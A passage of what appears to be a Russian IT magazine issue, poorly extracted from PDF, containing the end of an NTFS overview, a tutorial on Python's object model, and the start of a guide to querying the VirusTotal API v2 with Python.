темы не смо жет работать с таким томом, поэто му иметь некото рые пред став‐ 
ления о наз начении каж дого из них все же необ ходимо.

$MFT

Крат кие све дения о наз начении важ ней ших метафай лов при веде ны в сле‐ 
дующей  таб лице.  К  сожале нию,  в  пре делах  одной  статьи  нет  воз можнос ти
под робно  рас смот реть  струк туру  всех  сущес тву ющих  метафай лов,  но,
по край ней мере, мож но сос тавить общее пред став ление об их наз начении.

ЗАКЛЮЧЕНИЕ
Мы  рас смот рели  общую  струк туру  NTFS  вер сии  3.1,  которая  исполь зует ся
начиная с Windows XP и закан чивая Windows Server 2019, вклю чая, конеч но же,
Windows 10. Эта информа ция поможет тебе луч ше понять, как Windows хра нит
фай лы,  а  так же может  при годить ся  в  про цес се  вос ста нов ления  пов режден‐ 
ных  дан ных.  Конеч но  же,  под робное  опи сание  архи тек туры  NTFS  может
занять  отдель ную  и  весь ма  объ емную  кни гу  (которых,  кста ти,  сущес тву ет
немало), но за под робнос тями  ты всег да можешь обра тить ся  к  тех ничес кой
докумен тации.
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КОДИНГ

В этом году анон сирован пос ледний выпуск Python 2.7, пос‐ 
ле чего Python Software Foundation перес танет под держи вать
вет ку 2.7. Мно жес тво популяр ных биб лиотек и фрей мвор ков
тоже   офи циаль ную под дер жку Python 2, а целый
ряд  дис три бути вов  Linux  уже  не  вклю чают  его  в  набор
пакетов по умол чанию.

прек раща ют

Ко неч но,  Python  2  не  исчез  из  реаль нос ти,  как  толь ко    про‐ 
били  00:00,  но  он  уже  стал  тем ным  прош лым,  а  не  суровым  нас тоящим.
Начина ющие  могут  сме ло  зна комить ся  с  Python  3  без  оглядки  на  2.7,  что
силь но упро щает жизнь.

пи тоно часы

По пуляр ность Python при вела к тому, что мно гие люди изу чают его нефор‐ 
маль но: по чужим при мерам и стать ям в бло гах. В  таком методе нет ничего
пло хого, но есть риск упус тить важ ные осо бен ности поведе ния.

Се год ня  мы  сфо куси руем ся  на  объ ектной  модели.  Син таксис  соз дания
клас сов и объ ектов в Python дос таточ но оче виден, а вот детали поведе ния —
не всег да. Для опыт ных поль зовате лей эта информа ция обще извес тна, но у
тех,  кто  перехо дит  от  написа ния  корот ких  скрип тов  и  исполь зования  чужих
клас сов к соз данию сво их при ложе ний, порой вызыва ет слож ности.

ИЕРАРХИЯ КЛАССОВ И OBJECT
Нач нем с самого прос того слу чая — с клас сов, у которых нет явно ука зан ного
пред ка.

В  Python  3  у  любого  поль зователь ско го  клас са  есть  как  минимум  один
базовый  класс. В  кор не  иерар хии  клас сов  находит ся  встро енный  класс 

 — пре док всех клас сов.
ob‐

ject
В учеб ных матери алах и коде час то мож но видеть такую конс трук цию:

class MyClass(object):
   pass

В Python 3 она избы точ на, пос коль ку   — базовый класс по умол чанию.
Мож но сме ло писать так:

object

class MyClass:
   pass

По пуляр ность явно го син такси са в коде на Python 3 свя зана с сущес тво вав‐ 
шей дол гое вре мя необ ходимостью под держи вать обе вет ки.

В  Python  2.7  син таксис    был  нужен,  что бы  отли чать
«новые»  клас сы  от  режима  сов мести мос ти  с  доис торичес кими  вер сиями.
В  Python  3  никако го  режима  сов мести мос ти  с  нас леди ем  ста рых  вер сий
прос то не сущес тву ет, поэто му наконец мож но вер нуть ся к более корот кому
ста рому син такси су.

MyClass(object)

Что осо бен ного в клас се  ?object
1. У него самого нет базово го клас са.
2. У  объ ектов  это го  клас са  не  толь ко  нет  атри бутов  и методов — нет  даже
воз можнос ти их прис воить.

>>> o = object()
>>> o.my_attribute = None
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>

AttributeError: 'object' object has no attribute 'my_attribute'

«Тех ничес кая»  при чина  это му  —  отсутс твие  у    поля  ,
в котором хра нят ся все поля и методы клас са.

object __dict__

ИНКАПСУЛЯЦИЯ И «ЧАСТНЫЕ» АТРИБУТЫ
По пыт ка изме нить зна чение поля у объ екта клас са   — это единс твен‐ 
ный слу чай,  ког да неча янное или намерен ное изме нение атри бута  уже соз‐ 
данно го объ екта завер шится с ошиб кой.

object

Во  всех  осталь ных  слу чаях  мож но  поменять  любые  атри буты  объ екта
и никаких оши бок это не вызовет — ошиб ки воз никнут потом, ког да в дру гом
мес те кода кто‐то обра тит ся к модифи циро ван ным полям.

>>> class MyClass:
...   def my_method(self):
...     print("I'm a method")
... 
>>> o = MyClass()
>>> o.my_method = None
>>> o.my_method()
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>

TypeError: 'NoneType' object is not callable

Мож но так же добавить в уже соз данный объ ект про изволь ные поля — класс
объ екта опре деля ет, какие поля и методы у него будут сра зу пос ле соз дания,
но  никак  не  огра ничи вает,  какие  поля  у  него    быть  во  вре мя  выпол‐ 
нения.

мо гут

Ка залось бы, инкапсу ляция — один из  трех фун дамен таль ных прин ципов
ООП,  нарав не  с  нас ледова нием  и  полимор физмом.  Глав ное  пра вило
инкапсу ляции — не давать поль зовате лю объ екта вно сить в него не пре дус‐ 
мотрен ные авто ром изме нения. Одна ко даже без дос тупа к исходно му коду
дос таточ но упер тый поль зователь най дет спо соб модифи циро вать что угод‐ 
но. Дух  это го  пра вила  в  дру гом:  однознач но  дать  понять  поль зовате лю,  где
закан чива ется ста биль ный пуб личный интерфейс и начина ются детали реали‐ 
зации, которые автор может поменять в любой момент.

Для  это го  в  Python  есть  один  встро енный  механизм.  Те  поля  и  методы,
которые  не  вхо дят  в  пуб личный  интерфейс,  называ ют  с  под черки вани ем
перед име нем:  ,  . Никако го вли яния на работу кода это не ока зыва‐ 
ет, это прос то прось ба не исполь зовать такие поля без думно.

_foo _bar

Для соз дания час тных (private) атри бутов при меня ются два под черки вания
( ,  ). Такие поля будут вид ны изнутри объ екта под сво ими исходны‐ 
ми име нами, но вне объ екта к ним при меня ется name mangling — пере име‐ 
нова ния в сти ле  :

__foo __bar

_MyClass__my_attribute

class MyClass:
   x = 0
   _x = 1
   __x = 2
   def print_x(self):
       print(self.__x)

>>> o = MyClass()
>>> o.print_x()
2
>>> o.x
0
>>> o._x
1
>>> o.__x
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>

AttributeError: 'MyClass' object has no attribute '__x'
>>> o._MyClass__x
2

Как видишь, это все еще дос таточ но мяг кое огра ниче ние дос тупа — прос то
нас той чивая  прось ба  не  исполь зовать  час тные  поля  в  обход  пуб лично го
интерфей са объ екта.

INFO

Пе реиме нова ние  не  при меня ется  к  полям
и методам с под черки вани ем с двух сто рон вро де

.  По  сог лашению  такие  име на  дают
«магичес ким  методам»,  на  которых  пос тро ены
все  внут ренние  интерфей сы  стан дар тной  биб‐ 
лиоте ки Python:  к  при меру,    —
это  экви валент 

.  Такие  методы,  оче вид но,  дол жны  быть
дос тупны извне объ екта под исходны ми име нами.

__init__

o = MyClass()
o  =  MyClass.__new__(My‐

Class)

Сэ коно мить  вре мя  на  соз дание  пуб лично го  интерфей са  к  час тным  полям
мож но  с  помощью  встро енно го  декора тора  .  Он  соз дает  поле,
которое  выг лядит  как  перемен ная  толь ко  для  чте ния —  попыт ка  прис воить
зна чение  вызовет  исклю чение  .  Для  при мера  соз дадим
класс с логичес ким зна чени ем  , которое мож но поменять
толь ко  методом  ,  откло няющим  зна чения  всех  типов,  кро ме

.

@property

AttributeError
_boolean_property

set_property
bool

class MyClass:
   def __init__(self):
       self._boolean_property = True
   @property
   def my_property(self):
       return self._boolean_property
   def set_property(self, value):
       if type(value) == bool:
           self._boolean_property = value
       else:
           raise ValueError("Property value must be a bool")

>>> o = MyClass()
>>> o.my_property
True
>>> o.my_property = False
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>

AttributeError: cant set attribute

>>> o.set_property(9)
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<stdin>", line 11, in set_property

ValueError: Property value must be a bool

>>> o.set_property(False)
>>> o.my_property
False

Фун кцию    мож но  было  завер нуть  в  декора тор 
, в этом слу чае прис ваива ние   работа ло бы,

а   вызыва ло  .

set_property @my_property.
setter o.my_property = False
o.my_property = 9 ValueError

ПРОВЕРКА СООТВЕТСТВИЯ ТИПОВ
В  пре дыду щем  при мере  мы  явно  про веря ем,  что  тип  зна чения  —  ,
с помощью  . В слу чае с   это оправдан но, пос коль‐ 
ку никакой дру гой тип не может его заменить в логичес ких выраже ниях, а нас‐ 
ледовать ся от него Python нам не даст.

bool
type(value) == bool bool

В общем слу чае про верять   — пло хая идея, пос коль ку не учи тыва ет
ни  воз можность нас ледова ния,  ни  воз можность  соз дать  свои  клас сы с  сов‐ 
мести мым интерфей сом.

type()

Для  про вер ки  сов мести мос ти  с  неким  базовым  клас сом  нуж но  исполь‐ 
зовать  . Эта про вер ка истинна для клас са 
и всех его потом ков.

isinstance(object, class) class

>>> class Foo:
...   pass
... 
>>> class Bar(Foo):
...   pass
... 
>>> x = Foo()
>>> y = Bar()
>>> isinstance(x, Foo)
True
>>> isinstance(y, Foo)
True
>>> type(y) == Foo
False

Та кая  про вер ка  оправдан на  в  фун кци ях,  которые  работа ют  с  объ екта ми
заранее извес тных клас сов из тво их же модулей.

А вот в биб лиоте ке для широко го кру га поль зовате лей даже 
может  быть  слиш ком  жес тким  огра ниче нием.  Поч ти  все  встро енные  воз‐ 
можнос ти Python осно ваны на сог лашени ях о «магичес ких методах», вклю чая
ариф метичес кие опе рато ры, ите рацию, кон тек сты ( ) и мно‐ 
гое  дру гое.  Сто рон ний  раз работ чик  впол не может  соз дать  свой  кон тей нер,
который  мож но  исполь зовать  нарав не  со  встро енны ми    и  ,  или,
к при меру, запус кать и завер шать работу   через интерфейс кон тек‐ 
ста.

isinstance()

with ... as ...

list dict
де монов

По это му,  если  твой  код  дела ет  пред положе ния  толь ко  об 
объ ектов,  но  не  о  деталях  их  поведе ния,  луч ше  все го  не  про верять  их  тип,
а отлавли вать воз никшие при вызове метода исклю чения и выдавать ошиб ки
в сти ле Object is not iterable.

ин терфей се

О РЕГИСТРЕ БУКВ И СЛОВЕ SELF
На  телефон ном  собесе дова нии  в  одной  круп ной  ком пании  меня  однажды
спро сили, какое клю чевое сло во обя затель но исполь зовать как пер вый аргу‐ 
мент метода в Python. Я сна чала даже не понял смысл воп роса — такого обя‐ 
затель ного  клю чево го  сло ва  не  сущес тву ет.  Дело  в  том,  что  мно гие  сог‐ 
лашения в Python так силь ны, что их соб люда ют, даже если это не обя затель‐ 
но.

В  стан дар тной  биб лиоте ке  Python  и  сооб щес тве  его  поль зовате лей
повелось,  что  наз вания  клас сов  начина ются  с  заг лавной  бук вы,  а  ссыл ку
на сам объ ект име нуют  . Одна ко ни то, ни дру гое не явля ется эле мен том
син такси са язы ка, в отли чие от   в Java.

self
this

Эти два опре деле ния клас са экви вален тны:

class MyClass:
   def __init__(self, x):
       self.x = x

class myclass:
   def __init__(this, x):
       this.x = x

Важ но  толь ко  то,  что  пер вый  аргу мент  метода  —  это  всег да  ссыл ка
на вызыва ющий его объ ект.

СТАТИЧЕСКИЕ МЕТОДЫ И МЕТОДЫ КЛАССА
Этим метод объ екта и отли чает ся от прос то фун кции — при вызове ему неяв‐ 
но  переда ется  ссыл ка  на  какой‐то  объ ект  в  качес тве  пер вого  аргу мен та.
На какой имен но объ ект? По умол чанию — на экзем пляр, которо му при над‐ 
лежит  метод.  С  помощью  декора торов    и 
это поведе ние мож но изме нить.

@classmethod @staticmethod

Де кора тор    переда ет  в  метод  ссыл ку  на  сам  класс,  а  не
на  его  кон крет ный  экзем пляр.  Это  дает  воз можность  вызывать  метод
без  соз дания  объ екта.  А  вот  ,  по  сути,  и  не  метод  вов се,
а прос то фун кция, никакой неяв ной переда чи ссы лок таким методам не про‐ 
исхо дит.

@classmethod

@staticmethod

Пос мотрим  на  при мер.  Обра ти  вни мание:    —  поле  клас са,  а  не  объ‐ 
ектов‐экзем пля ров.

x

class MyClass:
   x = 10
   @staticmethod
   def foo():
       print(x)

   @classmethod
   def bar(self):
       print(self.x)

   def quux(self):
       print(self.x)

>>> o = MyClass()
>>> o.x = 30
>>> o.foo()
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<stdin>", line 5, in foo

NameError: name 'x' is not defined
>>> o.bar()
10
>>> o.quux()
30

С помощью   мы меня ем зна чение поля   в объ екте  . Как видишь,
метод клас са    выводит  исходное  зна чение,  потому  что    для  него —
это сам класс  . Для   перемен ная   содер жит ссыл ку имен но
на экзем пляр  , поэто му метод выводит поле самого объ екта.

o.x = 30 x o
bar self
MyClass quux self
o

Ме тод    вов се  не  работа ет,  если  во  внеш ней  области  видимос ти  нет
перемен ной  . Если есть, то выводит ее. С помощью   мож но
соз дать толь ко такие методы, которым дос туп к полям клас са не нужен вооб‐ 
ще, хотя зачем это может понадо бить ся в язы ке с модуля ми и прос транс тва‐ 
ми имен — воп рос слож ный.

foo
x @staticmethod

ИЗМЕНЯЕМОСТЬ ПОЛЕЙ КЛАССА
В прош лом при мере мы вве ли поле клас са  . В боль шинс тве слу чаев вся ини‐ 
циали зация перемен ных дела ется в методе  , вро де такого:

x
__init__

class MyClass:
   def __init__(self):
       self.x = 10
       self.hello = "hello world"

По чему так? Дело в том, что клас сы сами отно сят ся к объ ектам клас са 
и их поля так же изме няемы, как поля всех осталь ных объ ектов.

type

INFO

Те перь  ты  зна ешь,  как  про верить,  что  поль‐ 
зователь  передал  имен но  класс  в  твою  абс трак‐ 
тную  фаб рику  абс трак тных  фаб рик  или  еще
какую‐то  фун кцию  для  соз дания  объ ектов  про‐ 
изволь ного  клас са.  Совер шенно  вер но, 

.
isin‐

stance(c, type)

В момент соз дания объ екты содер жат  ссыл ки на  все поля и методы сво его
клас са. Если кто‐то слу чай но модифи циру ет поле самого клас са (в сти ле 

),  это  авто мати чес ки  изме нит  поле    для  всех  уже  соз данных
объ ектов это го клас са.

My‐
Class.x  =  y x

class MyClass:
   x = 10

o = MyClass()

>>> o.x
10
>>> MyClass.x = 70
>>> o.x
70

Ес ли кто‐то модифи циру ет поле в самом объ екте, изме нения в клас се перес‐ 
танут  его  зат рагивать,  пос коль ку  поле  потеря ет  связь  с  клас сом  и  ста нет
ссыл кой на новое зна чение.

>>> o.x = 80
>>> MyClass.x = 100
>>> o.x
80

Ес ли ини циали зиро вать перемен ные в  , это будет про исхо дить каж‐ 
дый раз,  ког да  кто‐то  соз дает  новый объ ект,  и  тог да  эти  перемен ные будут
дей стви тель но локаль ными для кон крет ного объ екта (instance variables).

__init__

МНОЖЕСТВЕННОЕ НАСЛЕДОВАНИЕ
По лучить пря мой дос туп к информа ции о пред ках клас са мож но с помощью
поля  . В рабочем коде луч ше так не делать, а обра тить ся к 

, но ради инте реса мож но поп робовать.
__bases__ isin‐

stance()

>>> import collections
>>> collections.OrderedDict.__bases__
(<class 'dict'>,)

>>> dict.__bases__
(<class 'object'>,)

Ты  видишь,  там  находит ся  не  одно  зна чение,  а  кор теж  (tuple),  что  намека ет
нам на воз можность иметь более одно го родите ля. В Python на самом деле
есть мно жес твен ное нас ледова ние. При менять его или не при менять — воп‐ 
рос слож ный (и в боль шинс тве про ектов решен ный в поль зу «не при менять»).
При  наличии  удоб ного  син такси са  для  декора торов  мож но  добавить  новое
поведе ние в класс или метод куда про ще.

Тем  не  менее  воз можность  есть  и  порядок  поис ка  методов  (method
lookup) дос таточ но логич ный: от пер вого ука зан ного пред ка к пос ледне му.

Для при мера соз дадим два базовых клас са и двух потом ков, которые нас‐ 
леду ются от них в раз ном поряд ке:

class Foo:
   def hello(self):
       print("hello world")

class Bar:
   def hello(self):
       print("hi world")

class Baz(Foo, Bar):
   pass

class Quux(Bar, Foo):
   pass

x = Baz()
y = Quux()

>>> x.hello()
hello world
>>> y.hello()
hi world

>> Baz.__bases__
(<class '__main__.Foo'>, <class '__main__.Bar'>)
>>> Quux.__bases__
(<class '__main__.Bar'>, <class '__main__.Foo'>)

То же  самое  отно сит ся  к  вызовам методов  пред ка  через   —  вызов
отпра вит ся к пер вому пред ку в спис ке:

super()

class Xyzzy(Foo, Bar):
   def hello(self):
       super().hello()
print("This is what my parent does")

x = Xyzzy()

>>> x.hello()
hello world
This is what my parent does

ЗАКЛЮЧЕНИЕ
Да же неболь шие при ложе ния будет про ще под держи вать и рас ширять, если
уде лить  вни мание  вза имоот ношени ям  меж ду  кодом  и  дан ными.  Теперь  ты
зна ешь детали поведе ния объ ектов — наде юсь, это тебе поможет.
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КОДИНГ

Ты навер няка не раз поль зовал ся услу гами
сай та  ,  что бы  про верить,
не  содер жат  ли  бинар ники  вре донос ных
фун кций,  либо  про тес тировать  собс твен‐ 
ные  наработ ки.  У  это го  сер виса  есть  бес‐ 
плат ный API, работу с которым на Python мы
и раз берем в этой статье.

virustotal.com

Сайт virustotal.com

Что бы  поль зовать ся  прог рам мны ми  интерфей сами  VirusTotal  без  огра ниче‐ 
ний,  нуж но  получить  ключ,  который  обхо дит ся  в  серь езную  сум му  —  цены
начина ются с 700 евро в месяц. При чем час тно му лицу даже при готов ности
пла тить ключ не дадут.

Од нако  отча ивать ся  не  сто ит,  пос коль ку  основные  фун кции  сер вис  пре‐ 
дос тавля ет  бес плат но  и  огра ничи вает  нас  лишь  по  чис лу  зап росов  —
не более двух в минуту. Что ж, при дет ся с этим мирить ся.

WARNING

API  VirusTotal  нель зя  исполь зовать  в  ком мерчес‐ 
ких про дук тах или услу гах и в про ектах,  которые
могут  нанес ти  пря мой  либо  кос венный  ущерб
анти вирус ной индус трии.

ПОЛУЧАЕМ API KEY
Итак, пер вым делом нам нуж на регис тра ция на сай те. Тут проб лем никаких —
я уве рен, что ты спра вишь ся. Пос ле регис тра ции берем ключ дос тупа, перей‐ 
дя в пункт меню API key.

Вот здесь лежит ключ дос тупа к API VirusTotal

ВЕРСИИ API
Сей час  акту аль ная  вер сия  API  име ет  .  Но  при  этом  уже  сущес тву ет
и  новый  вари ант —  .  Эта  вер сия  API  пока  еще  находит ся  в  ста дии
беты,  но  ее  уже  впол не  мож но  исполь зовать,  тем  более  что  воз можнос ти,
которые она пре дос тавля ет, гораз до шире.

но мер 2
но мер  3

Раз работ чики  пока  что  рекомен дуют  при менять  третью  вер сию  толь ко
для  экспе римен тов  либо  для  нек ритич ных  про ектов.  Мы  же  раз берем  обе
вер сии. Ключ дос тупа для них оди наков.

API VirusTotal. Вер сия 2
Как и в слу чае с дру гими популяр ными веб‐сер висами, работа с API зак люча‐ 
ется в пересыл ке зап росов по HTTP и получе нии отве тов.

API вто рой вер сии поз воля ет:
от прав лять фай лы на про вер ку;•
по лучать  отчет  по  про верен ным  ранее фай лам,  с  исполь зовани ем  иден‐ 
тифика тора  фай ла  (хеш фай ла  SHA‐256,  SHA‐1  или MD5  либо  зна чение

 из отве та, получен ного пос ле отправ ки фай ла);

•

scan_id

от прав лять URL для ска ниро вания на сер вер;•
по лучать  отчет  по  про верен ным  ранее  адре сам  с  исполь зовани ем  либо
непос редс твен но  URL,  либо  зна чения    из  отве та,  получен ного
пос ле отправ ки URL на сер вер;

•
scan_id

по лучать отчет по IP‐адре су;•
по лучать отчет по домен ному име ни.•

Ошиб ки
Ес ли зап рос был пра виль но обра ботан и оши бок не воз никло, будет воз вра‐ 
щен код 200 (OK).

Ес ли же про изош ла ошиб ка, то могут быть такие вари анты:
204 — ошиб ка типа Request rate limit exceeded. Воз ника ет, ког да пре выше‐ 
на кво та допус тимого количес тва зап росов (для бес плат ного клю ча кво та
сос тавля ет четыре зап роса в минуту);

•

400  —  ошиб ка  типа  Bad  request.  Воз ника ет,  ког да  некор рек тно  сфор‐ 
мирован зап рос, нап ример если нет нуж ных аргу мен тов или у них недопус‐ 
тимые зна чения;

•

403  —  ошиб ка  типа  Forbidden.  Воз ника ет,  если  пытать ся  исполь зовать
фун кции API, дос тупные толь ко с плат ным клю чом, ког да его нет.

•

При пра виль ном фор мирова нии зап роса  (код сос тояния HTTP — 200) ответ
будет  пред став лять  собой  объ ект  ,  в  теле  которо го  при сутс тву ют
как минимум два поля:

JSON

  —  если  зап рашива емый  объ ект  (файл,  URL,  IP‐адрес
или  имя  домена)  есть  в  базе  VirusTotal  (то  есть  про верял ся  рань ше)
и информа ция об  этом объ екте может быть  получе на,  то  зна чение  это го
поля будет рав но еди нице; если зап рашива емый объ ект находит ся в оче‐ 
реди  на  ана лиз,  зна чение  поля  будет  ;  если  зап рашива емый  объ ект
отсутс тву ет в базе VirusTotal — рав но нулю;

• response_code

2

  пре дос тавля ет  более  под робное  опи сание  зна чения 
  (нап ример,  Scan  finished,  information  embedded  пос ле

отправ ки фай ла на ска ниро вание).

• verbose_msg re

sponse_code

Ос таль ная  информа ция,  содер жаща яся  в  ответном  объ екте  JSON,  зависит
от того, какая фун кция API была исполь зована.

От прав ка фай ла на сер вер для ска ниро вания
Для отправ ки фай ла на ска ниро вание необ ходимо сфор мировать POST‐зап‐ 
рос на адрес  ,  при  этом в  зап росе
нуж но ука зать ключ дос тупа к API и передать сам файл (здесь есть огра ниче‐ 
ние  на  раз мер  фай ла  —  не  более  32  Мбайт).  Это  может  выг лядеть  сле‐ 
дующим обра зом (исполь зуем Python):

https://www.virustotal.com/vtapi/v2

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/scan'
params = dict(apikey='<ключ доступа>')
with open('<путь к файлу>', 'rb') as file:
 files = dict(file=('<путь к файлу>', file))
 response = requests.post(api_url, files=files, params=params)

if response.status_code == 200:
 result=response.json()
 print(json.dumps(result, sort_keys=False, indent=4))

...

Здесь вмес то стро ки   необ ходимо вста вить свой  ключ дос‐ 
тупа  к  API,  а  вмес то    —  путь  к  фай лу,  который  ты  будешь
отправ лять  в  VirusTotal.  Если  у  тебя  нет  биб лиоте ки  requests,  то  пос тавь  ее
коман дой  .

<ключ доступа>
<путь  к  файлу>

pip install requests
В ответ, если все прош ло  успешно и  код сос тояния HTTP равен 200, мы

получим при мер но вот такую кар тину:

{
 "response_code": 1,
 "verbose_msg": "Scan request successfully queued, come back later 

for the report",
 "scan_id": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c45

38aabf651fd0f‐1577043276",
 "resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c45

38aabf651fd0f",
 "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
 "md5": "44d88612fea8a8f36de82e1278abb02f",
 "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c45

38aabf651fd0f",
 "permalink": "https://www.virustotal.com/file/275a021bbfb6489

e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/157704
3276/"  
}

Здесь мы видим зна чения   и  , а так же хеши фай‐ 
ла SHA‐256, SHA‐1 и MD5, ссыл ку на резуль таты ска ниро вания фай ла на сай‐ 
те   и иден тифика тор фай ла  .

response_code verbose_msg

permalink scan_id

INFO

В при веден ных  в  статье при мерах  кода опу щена
обра бот ка  оши бок.  Пом ни,  что  в  ходе  откры тия
фай ла  или  отправ ки  зап росов  на  сер вер  могут
воз никать  исклю чения:  ,
если  фай ла  нет, 

, 
при ошиб ках соеди нения и так далее.

FileNotFoundError
requests.

ConnectionError requests.Timeout

По луче ние отче та о пос леднем ска ниро вании фай ла
Ис поль зуя  какой‐либо  из  хешей  или  зна чение    из  отве та,  мож но
получить отчет по пос ледне му ска ниро ванию фай ла (если файл уже заг ружал‐ 
ся на VirusTotal). Для это го нуж но сфор мировать GET‐зап рос и в зап росе ука‐ 
зать  ключ  дос тупа  и  иден тифика тор  фай ла.  Нап ример,  если  у  нас  есть

 из пре дыду щего при мера, то зап рос будет выг лядеть так:

scan_id

scan_id

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489
e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f‐1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
 result=response.json()
 print(json.dumps(result, sort_keys=False, indent=4))

...

В слу чае успе ха в ответ мы уви дим сле дующее:

{
 "response_code": 1,
 "verbose_msg": "Scan finished, information embedded",
 "resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c45

38aabf651fd0f",
 "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
 "md5": "44d88612fea8a8f36de82e1278abb02f",
 "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c45

38aabf651fd0f",
 "scan_date": "2019‐11‐27 08:06:03",
 "permalink": "https://www.virustotal.com/file/275a021bbfb6489

e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/157704
3276/",
 "positives": 59,
 "total": 69,
 "scans": {
   "Bkav": {
     "detected": true,
     "version": "1.3.0.9899",
     "result": "DOS.EiracA.Trojan",
     "update": "20191220"
   },
   "DrWeb": {
     "detected": true,
     "version": "7.0.42.9300",
     "result": "EICAR Test File (NOT a Virus!)",
      "update": "20191222"
   },
   "MicroWorld‐eScan": {
     "detected": true,
     "version": "14.0.297.0",
     "result": "EICAR‐Test‐File",
     "update": "20191222"
   },
   ...
 ...
 "Panda": {
   "detected": true,
   "version": "4.6.4.2",
   "result": "EICAR‐AV‐TEST‐FILE",
   "update": "20191222"
 },
 "Qihoo‐360": {
   "detected": true,
   "version": "1.0.0.1120",
   "result": "qex.eicar.gen.gen",
   "update": "20191222"
 }

}

Здесь,  как  и  в  пер вом при мере,  получа ем  зна чения  хешей фай ла,  ,
, зна чения   и  . Так же видим резуль таты

ска ниро вания  фай ла  анти виру сами  и  общие  резуль таты  оцен ки    —
сколь ко все го анти вирус ных движ ков было задей ство вано в про вер ке и 

 — сколь ко анти виру сов дали положи тель ный вер дикт.

scan_id
permalink response_code verbose_msg

total
posi‐

tives
Что бы вывес ти резуль таты ска ниро вания все ми анти виру сами в удо бова‐ 

римом виде, мож но, нап ример, написать что‐то в таком роде:

import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489
e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f‐1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
 result=response.json()
 for key in result['scans']:
   print(key)
   print('  Detected: ', result['scans'][key]['detected'])
   print('  Version: ', result['scans'][key]['version'])
   print('  Update: ', result['scans'][key]['update'])
   print('  Result: ', 'result['scans'][key]['result'])
...

Вы вод на экран информа ции о резуль татах ска ниро вания фай ла на Virus‐
Total с исполь зовани ем раз ных анти вирус ных движ ков

От прав ка URL на сер вер для ска ниро вания
Что бы  отпра вить  URL  для  ска ниро вания,  нам  необ ходимо  сфор мировать
и пос лать POST‐зап рос, содер жащий ключ дос тупа и сам URL:

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
params = dict(apikey='<ключ доступа>', url='https://xakep.ru/author/
drobotun/')
response = requests.post(api_url, data=params)
if response.status_code == 200:
 result=response.json()
 print(json.dumps(result, sort_keys=False, indent=4))

...

В ответ мы получим при мер но то же, что и при отправ ке фай ла, за исклю чени‐ 
ем  зна чений  хеша.  Содер жимое  поля    мож но  исполь зовать
для получе ния отче та о ска ниро вании дан ного URL.

scan_id

По луче ние отче та о резуль татах ска ниро вания URL-адре са
Сфор миру ем GET‐зап рос с клю чом дос тупа и ука жем либо непос редс твен но
сам URL в виде стро ки, либо зна чение  , получен ное с помощью пре‐ 
дыду щей фун кции. Это будет выг лядеть сле дующим обра зом:

scan_id

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/report'
params = dict(apikey='<ключ доступа>', resource='https://xakep.ru/
author/drobotun/', scan=0)
response = requests.get(api_url, params=params)
if response.status_code == 200:
 result=response.json()
 print(json.dumps(result, sort_keys=False, indent=4))

...

По мимо  клю ча  дос тупа  и  стро ки  с  URL,  здесь  при сутс тву ет  опци ональ ный
параметр   — по умол чанию он равен нулю. Если же его зна чение рав но
еди нице,  то,  ког да информа ции о  зап рашива емом URL в базе VirusTotal  нет
(URL ранее не про верял ся), этот URL будет авто мати чес ки отправ лен на сер‐ 
вер  для  про вер ки,  пос ле  чего  в  ответ  мы  получим  ту  же  информа цию,  что
и  при  отправ ке  URL  на  сер вер.  Если  этот  параметр  равен  нулю  (или
не задавал ся), мы получим отчет об этом URL либо (если информа ция о нем
в базе VirusTotal отсутс тву ет) ответ такого вида:

scan

{
 "response_code": 0,
 "resource": "<запрашиваемый URL>",
 "verbose_msg": "Resource does not exist in the dataset"

}

По луче ние информа ции об IP-адре сах и доменах
Что бы про верить IP‐адре са и домены, нуж но сфор мировать и отпра вить GET‐
зап рос  с  клю чом,  име нем  про веря емо го  домена  либо  IP  в  виде  стро ки.
Для про вер ки домена это выг лядит так:

...
api_url = 'https://www.virustotal.com/vtapi/v2/domain/report'
params = dict(apikey='<ключ доступа>', domain=<'имя домена'>)
response = requests.get(api_url, params=params)
...

Для про вер ки IP‐адре са:

...
api_url = 'https://www.virustotal.com/vtapi/v2/ip‐address/report'
params = dict(apikey='<ключ доступа>', ip=<'IP‐адрес'>)
response = requests.get(api_url, params=params)
...

От веты  на  такие  зап росы  объ емны  и  содер жат  мно го  информа ции.  Нап‐ 
ример, для  IP    (это  IP «Хакера») начало отче та, получен ного
с сер вера VirusTotal, выг лядит так:

178.248.232.27

{
 "country": "RU",
 "response_code": 1,
 "as_owner": "HLL LLC",
 "verbose_msg": "IP address in dataset",
 "continent": "EU",
 "detected_urls": [
   {
   "url": "https://xakep.ru/author/drobotun/",
   "positives": 1,
   "total": 72,
   "scan_date": "2019‐12‐18 19:45:02"
   },
   {
   "url": "https://xakep.ru/2019/12/18/linux‐backup/",
   "positives": 1,
   "total": 72,
   "scan_date": "2019‐12‐18 16:35:25"
   },
   ...
 ]

}

Продолжение статьи →
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API VirusTotal. Вер сия 3
В треть ей вер сии API  нам ного боль ше воз можнос тей по срав нению со вто‐ 
